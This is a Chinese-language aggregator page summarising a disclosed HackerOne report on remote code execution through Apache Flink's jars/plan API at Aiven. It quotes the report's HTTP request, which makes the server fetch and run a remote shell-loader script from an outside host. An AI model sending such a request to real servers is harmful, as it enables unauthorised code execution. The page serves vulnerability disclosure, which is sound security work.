POJIA破甲
地图 / Apache Flink RCE via GET jar/plan API Endpoint

Apache Flink RCE via GET jar/plan API Endpoint

代码执行 / 命令注入(通用) / #1418891

厂商
Aiven Ltd
严重程度
高危
赏金
$6,000
弱点
命令注入(通用)
研究员
@jarij
披露日期
2022-11-08
资产
aivencloud.com
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2068 字符中的一小部分)
Aiven has not restricted access to the GET `jars/{jar_id}/plan` API. This endpoint can be used to load java class files with the specified arguments that are in the java classpath on the server. This can be abused to gain RCE on the Apache Flink Server.
原文中的代码
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")&parallelism=1 HTTP/1.1
Host: ████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Authorization: …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Aiven Ltd 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @jarij · 版权归作者与 Aiven Ltd 所有

同类报告

H1514 Remote Code Execution on kitcrm using bulk customer update of Priority ProductsShopify · 2020-02-06Remote Code Execution on www.semrush.com/my_reports on Logo uploadSemrush · 2019-06-24Git flag injection - local file overwrite to remote code executionGitLab · 2019-12-19 · $12,000Privilege Escalation From user to SYSTEM via unauthenticated command executionUbiquiti Inc. · 2019-11-08BAD Code !Paragon Initiative Enterprises · 2016-11-04Local files could be overwritten in GitLab, leading to remote command executionGitLab · 2019-07-17 · $12,000